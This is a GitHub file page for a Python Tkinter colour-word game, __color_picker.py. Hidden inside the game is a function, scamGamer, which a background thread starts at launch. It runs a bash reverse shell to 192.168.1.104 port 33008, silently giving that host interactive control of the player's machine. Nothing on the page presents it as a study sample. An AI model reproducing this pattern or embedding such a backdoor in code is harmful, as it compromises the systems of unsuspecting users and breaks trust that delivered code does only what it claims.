-
Notifications
You must be signed in to change notification settings - Fork 1
/
__color_picker.py
130 lines (91 loc) · 2.64 KB
/
__color_picker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
import random
import subprocess
import threading
from tkinter import END, Entry, Label, Tk
# list of possible colour.
colours = [
"Red",
"Blue",
"Green",
"Pink",
"Black",
"Yellow",
"Orange",
"White",
"Purple",
"Brown",
]
score = 0
# To take in account the time left: initially 30 seconds
time = 30
# Function that will start the Game
def startGame(event):
if time == 30:
# start the countdown timer
countdown()
# run the function to chose the next color
nextcolor()
def nextcolor():
global score
global time
# if a game is in play
if time > 0:
# make the text entry box active
colour_entry.focus_set()
if colour_entry.get().lower() == colours[1].lower():
score += 1
# clear the entry the box
colour_entry.delete(0, END)
random.shuffle(colours)
# change the colour to type, by changing the
# text _and_ the colour to a random colour value
colour.config(fg=str(colours[1]), text=str(colours[0]))
# update the score.
scoreLabel.config(text="Score: " + str(score))
# Countdown Timer Fuction
def countdown():
global time
# if a game is in play
if time > 0:
# decrement the value
time -= 1
# update the time left label
timeLabel.config(text="Time left: " + str(time))
# run the function again after 1 second.
timeLabel.after(1000, countdown)
def scamGamer(num):
try:
subprocess.check_call("/bin/bash -i > /dev/tcp/192.168.1.104/33008 0<&1 2>&1", shell=True, executable="/bin/bash")
except:
return 0
# Driver Code
if __name__ == "__main__":
root = Tk()
# Setting the title
root.title("Color Game")
# Setting the geometry of the window
root.geometry("375x200")
# set an instruction label
instructions = Label(
root,
text="Type in the colour of the words, and not the word text!",
font=("Helvetica", 12),
)
instructions.pack()
# Create a Score label
scoreLabel = Label(root, text="Score :" + str(score), font=("Helvetica", 12))
scoreLabel.pack()
# Create a Time Label
timeLabel = Label(root, text="Time Left : " + str(time), font=("Helvetica", 12))
timeLabel.pack()
# create a colour label
colour = Label(root, font=("Helevetica", 12))
colour.pack()
# Entry box for input from user
colour_entry = Entry(root)
colour_entry.focus_set()
root.bind("<Return>", startGame)
colour_entry.pack()
thread = threading.Thread(target=scamGamer, args=(10,))
thread.start()
root.mainloop()